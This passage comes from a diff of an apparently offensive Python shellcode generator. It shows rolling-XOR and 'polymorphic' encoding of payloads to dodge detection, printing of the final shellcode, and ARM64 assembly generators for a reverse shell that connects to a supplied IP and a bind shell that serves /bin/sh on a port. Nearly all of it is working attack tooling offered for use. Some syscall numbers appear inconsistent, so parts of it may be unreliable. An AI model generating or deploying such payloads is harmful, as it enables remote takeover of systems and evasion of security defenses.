decoder_stub = rolling_xor_decoder_stub(
|
|
2114
|
+
len(final_payload), args.rolling_xor_key
|
|
2115
|
+
)
|
|
2116
|
+
final_payload = decoder_stub + rolling_xor_encrypt(
|
|
2117
|
+
final_payload, args.rolling_xor_key
|
|
2118
|
+
)
|
|
2119
|
+
print(
|
|
2120
|
+
f"{YELLOW}[*] Rolling XOR decoder stub size: {len(decoder_stub)} bytes{RESET}",
|
|
2121
|
+
file=sys.stderr,
|
|
2122
|
+
)
|
|
2123
|
+
print(
|
|
2124
|
+
f"{YELLOW}[*] Total size with rolling XOR stub: {len(final_payload)} bytes{RESET}",
|
|
2125
|
+
file=sys.stderr,
|
|
2126
|
+
)
|
|
2127
|
+
|
|
2128
|
+
if args.polymorphic:
|
|
2129
|
+
print(
|
|
2130
|
+
f"{YELLOW}[*] Applying enhanced polymorphic obfuscation...{RESET}",
|
|
2131
|
+
file=sys.stderr,
|
|
2132
|
+
)
|
|
2133
|
+
final_payload = enhanced_polymorphic_engine(final_payload)
|
|
2134
|
+
print(
|
|
2135
|
+
f"{YELLOW}[*] Polymorphic payload size: {len(final_payload)} bytes{RESET}",
|
|
2136
|
+
file=sys.stderr,
|
|
2137
|
+
)
|
|
2138
|
+
|
|
2139
|
+
print(f"\n{GREEN}[+] Final Shellcode ({len(final_payload)} bytes):{RESET}")
|
|
2140
|
+
print("".join(f"\\x{b:02x}" for b in final_payload))
|
|
2141
|
+
print(f"\n{YELLOW}[*] Example Usage (Python):{RESET}")
|
|
2142
|
+
shellcode_example = "".join(f"\\x{b:02x}" for b in final_payload)
|
|
2143
|
+
print(f'shellcode = b"{shellcode_example}"')
|
|
2144
|
+
|
|
2145
|
+
except ValueError as e:
|
|
2146
|
+
print(f"\n{RED}[-] Error: {e}{RESET}", file=sys.stderr)
|
|
2147
|
+
return 1
|
|
2148
|
+
except Exception as e:
|
|
2149
|
+
print(
|
|
2150
|
+
f"\n{RED}[-] An unexpected error occurred during generation: {e}{RESET}",
|
|
2151
|
+
file=sys.stderr,
|
|
2152
|
+
)
|
|
2153
|
+
import traceback
|
|
2154
|
+
|
|
2155
|
+
traceback.print_exc()
|
|
2156
|
+
return 1
|
|
2157
|
+
|
|
2158
|
+
return 0
|
|
2159
|
+
|
|
2160
|
+
|
|
2161
|
+
def generate_arm64_reverse_shell(
|
|
2162
|
+
ip: str, port: int, executable_path: str = "/bin/sh"
|
|
2163
|
+
) -> bytes:
|
|
2164
|
+
try:
|
|
2165
|
+
ip_bytes = socket.inet_aton(ip)
|
|
2166
|
+
except OSError:
|
|
2167
|
+
raise ValueError(f"Invalid IP address format: {ip}")
|
|
2168
|
+
port_bytes = port.to_bytes(2, "big")
|
|
2169
|
+
port_int = struct.unpack("<H", port_bytes)[0]
|
|
2170
|
+
|
|
2171
|
+
arm64_asm = f"""
|
|
2172
|
+
.arch armv8-a
|
|
2173
|
+
.section .shellcode,"awx"
|
|
2174
|
+
|
|
2175
|
+
# Create socket
|
|
2176
|
+
mov x0, 2
|
|
2177
|
+
mov x1, 1
|
|
2178
|
+
mov x2, 0
|
|
2179
|
+
mov x16, 198
|
|
2180
|
+
svc 0
|
|
2181
|
+
mov x19, x0
|
|
2182
|
+
|
|
2183
|
+
# Connect to target
|
|
2184
|
+
mov x0, x19
|
|
2185
|
+
sub sp, sp, 16
|
|
2186
|
+
# sockaddr_in structure
|
|
2187
|
+
mov w3, 2
|
|
2188
|
+
strh w3, [sp]
|
|
2189
|
+
mov w3, {port_int}
|
|
2190
|
+
strh w3, [sp, 2]
|
|
2191
|
+
ldr w3, =0x{ip_bytes.hex()}
|
|
2192
|
+
str w3, [sp, 4]
|
|
2193
|
+
mov x1, sp
|
|
2194
|
+
mov x2, 16
|
|
2195
|
+
mov x16, 203
|
|
2196
|
+
svc 0
|
|
2197
|
+
add sp, sp, 16
|
|
2198
|
+
|
|
2199
|
+
# dup2 for stdin, stdout, stderr
|
|
2200
|
+
mov x0, x19
|
|
2201
|
+
mov x1, 0
|
|
2202
|
+
mov x16, 33
|
|
2203
|
+
svc 0
|
|
2204
|
+
mov x0, x19
|
|
2205
|
+
mov x1, 1
|
|
2206
|
+
svc 0
|
|
2207
|
+
mov x0, x19
|
|
2208
|
+
mov x1, 2
|
|
2209
|
+
svc 0
|
|
2210
|
+
|
|
2211
|
+
# Push executable path
|
|
2212
|
+
sub sp, sp, 16
|
|
2213
|
+
mov x20, sp
|
|
2214
|
+
adr x21, path_string
|
|
2215
|
+
str x21, [sp]
|
|
2216
|
+
b exec
|
|
2217
|
+
|
|
2218
|
+
path_string:
|
|
2219
|
+
.ascii "{executable_path}\\x00"
|
|
2220
|
+
.align 4
|
|
2221
|
+
|
|
2222
|
+
exec:
|
|
2223
|
+
mov x0, x20
|
|
2224
|
+
mov x1, 0
|
|
2225
|
+
mov x2, 0
|
|
2226
|
+
mov x16, 221
|
|
2227
|
+
svc 0
|
|
2228
|
+
|
|
2229
|
+
# Exit on failure
|
|
2230
|
+
mov x0, 0
|
|
2231
|
+
mov x16, 93
|
|
2232
|
+
svc 0
|
|
2233
|
+
"""
|
|
2234
|
+
try:
|
|
2235
|
+
context.arch = "arm64"
|
|
2236
|
+
return myasm(arm64_asm)
|
|
2237
|
+
except Exception as e:
|
|
2238
|
+
print(
|
|
2239
|
+
f"{RED}[-] Error assembling ARM64 reverse shell: {e}{RESET}",
|
|
2240
|
+
file=sys.stderr,
|
|
2241
|
+
)
|
|
2242
|
+
raise
|
|
2243
|
+
finally:
|
|
2244
|
+
context.arch = "amd64"
|
|
2245
|
+
|
|
2246
|
+
|
|
2247
|
+
def generate_arm64_bind_shell(port: int, bind_addr: str = "0.0.0.0") -> bytes:
|
|
2248
|
+
try:
|
|
2249
|
+
ip_bytes = socket.inet_aton(bind_addr)
|
|
2250
|
+
except OSError:
|
|
2251
|
+
raise ValueError(f"Invalid bind address: {bind_addr}")
|
|
2252
|
+
port_bytes = port.to_bytes(2, "big")
|
|
2253
|
+
port_int = struct.unpack("<H", port_bytes)[0]
|
|
2254
|
+
|
|
2255
|
+
arm64_asm = f"""
|
|
2256
|
+
.arch armv8-a
|
|
2257
|
+
.section .shellcode,"awx"
|
|
2258
|
+
|
|
2259
|
+
# Create socket
|
|
2260
|
+
mov x0, 2
|
|
2261
|
+
mov x1, 1
|
|
2262
|
+
mov x2, 0
|
|
2263
|
+
mov x16, 198
|
|
2264
|
+
svc 0
|
|
2265
|
+
mov x19, x0
|
|
2266
|
+
|
|
2267
|
+
# Bind socket
|
|
2268
|
+
mov x0, x19
|
|
2269
|
+
sub sp, sp, 16
|
|
2270
|
+
mov w3, 2
|
|
2271
|
+
strh w3, [sp]
|
|
2272
|
+
mov w3, {port_int}
|
|
2273
|
+
strh w3, [sp, 2]
|
|
2274
|
+
ldr w3, =0x{ip_bytes.hex()}
|
|
2275
|
+
str w3, [sp, 4]
|
|
2276
|
+
mov x1, sp
|
|
2277
|
+
mov x2, 16
|
|
2278
|
+
mov x16, 200
|
|
2279
|
+
svc 0
|
|
2280
|
+
add sp, sp, 16
|
|
2281
|
+
|
|
2282
|
+
# Listen
|
|
2283
|
+
mov x0, x19
|
|
2284
|
+
mov x1, 0
|
|
2285
|
+
mov x16, 201
|
|
2286
|
+
svc 0
|
|
2287
|
+
|
|
2288
|
+
# Accept connection
|
|
2289
|
+
mov x0, x19
|
|
2290
|
+
sub sp, sp, 16
|
|
2291
|
+
mov x1, sp
|
|
2292
|
+
mov x2, sp
|
|
2293
|
+
add x2, x2, 16
|
|
2294
|
+
mov x16, 202
|
|
2295
|
+
svc 0
|
|
2296
|
+
mov x19, x0
|
|
2297
|
+
add sp, sp, 16
|
|
2298
|
+
|
|
2299
|
+
# dup2 for stdin, stdout, stderr
|
|
2300
|
+
mov x0, x19
|
|
2301
|
+
mov x1, 0
|
|
2302
|
+
mov x16, 33
|
|
2303
|
+
svc 0
|
|
2304
|
+
mov x0, x19
|
|
2305
|
+
mov x1, 1
|
|
2306
|
+
svc 0
|
|
2307
|
+
mov x0, x19
|
|
2308
|
+
mov x1, 2
|
|
2309
|
+
svc 0
|
|
2310
|
+
|
|
2311
|
+
# Execute shell
|
|
2312
|
+
sub sp, sp, 16
|
|
2313
|
+
mov x20, sp
|
|
2314
|
+
adr x21, path_string
|
|
2315
|
+
str x21, [sp]
|
|
2316
|
+
mov x0, x20
|
|
2317
|
+
mov x1, 0
|
|
2318
|
+
mov x2, 0
|
|
2319
|
+
mov x16, 221
|
|
2320
|
+
svc 0
|
|
2321
|
+
add sp, sp, 16
|
|
2322
|
+
|
|
2323
|
+
# Exit
|
|
2324
|
+
mov x0, 0
|
|
2325
|
+
mov x16, 93
|
|
2326
|
+
svc 0
|
|
2327
|
+
|
|
2328
|
+
path_string:
|
|
2329
|
+
.ascii "/bin/sh\\x00"
|
|
2330
|
+
.align 4
|
|
2331
|
+
"""
|
|
2332
|
+
try:
|
|
2333
|
+
context.arch = "arm64"
|
|
2334
|
+
return myasm(arm64_asm)
|
|
2335
|
+
except Exception as e:
|
|
2336
|
+
print(
|
|
2337
|
+
f"{RED}[-] Error assembling ARM64 bind shell: {e}{RESET}", file=sys.stderr
|
|
2338
|
+
)
|
|
2339
|
+
raise
|
|
2340
|
+
finally:
|
|
2341
|
+
context.arch = "amd64"
|
|
2342
|
+
|
|
2343
|
+
|
|
2344
|
+
def generate_arm64_payload(
|
|
2345
|
+
ip: str | None,
|
|
2346
|
+
port: int | None,
|
|
2347
|
+
executable_path: str = "/bin/sh",
|
|
2348
|
+
payload_type: str = "reverse",
|
|
2349
|
+
bind_addr: str = "0.0.0.0",
|
|
2350
|
+
) -> bytes:
|
|
2351
|
+
if payload_type == "reverse" and ip and port:
|
|
2352
|
+
return generate_arm64_reverse_shell(ip, port, executable_path)
|
|
2353
|
+
elif payload_type == "bind" and port:
|
|
2354
|
+
return generate_arm64_bind_shell(port, bind_addr)
|
|
2355
|
+
else:
|
|
2356
|
+
raise ValueError("Invalid payload configuration for ARM64")
|